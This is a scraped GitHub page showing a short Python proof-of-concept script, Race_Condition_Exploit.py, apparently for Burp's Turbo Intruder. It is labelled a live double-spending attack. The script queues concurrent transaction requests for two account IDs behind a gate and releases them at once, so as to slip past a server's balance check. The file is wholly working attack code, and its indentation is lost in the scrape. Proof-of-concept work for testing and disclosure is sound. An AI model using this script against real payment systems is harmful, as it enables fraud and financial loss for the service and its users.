-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathRace_Condition_Exploit.py
More file actions
27 lines (22 loc) · 1.01 KB
/
Copy pathRace_Condition_Exploit.py
File metadata and controls
27 lines (22 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# SYNTROPY SECURITY - RACE CONDITION PoC (Live)
# Context: Double Spending Attack (Spending 150k with only 100k balance)
def queueRequests(target, wordlists):
# The 'gate' mechanism ensures both requests hit the server in the same millisecond
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False)
# 1. Richard Hendricks (1766444981)
# 2. Erlich Bachman (1766445005)
victims = ['1766444981', '1766445005']
# Queue both transactions behind the 'race1' gate
for victim in victims:
# This replaces '%s' in the top window with the IDs above
engine.queue(target.req, victim, gate='race1')
# OPEN THE FLOODGATES
# This sends both requests simultaneously to bypass the balance check
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
# We want to see '200 OK' for both.
table.add(req)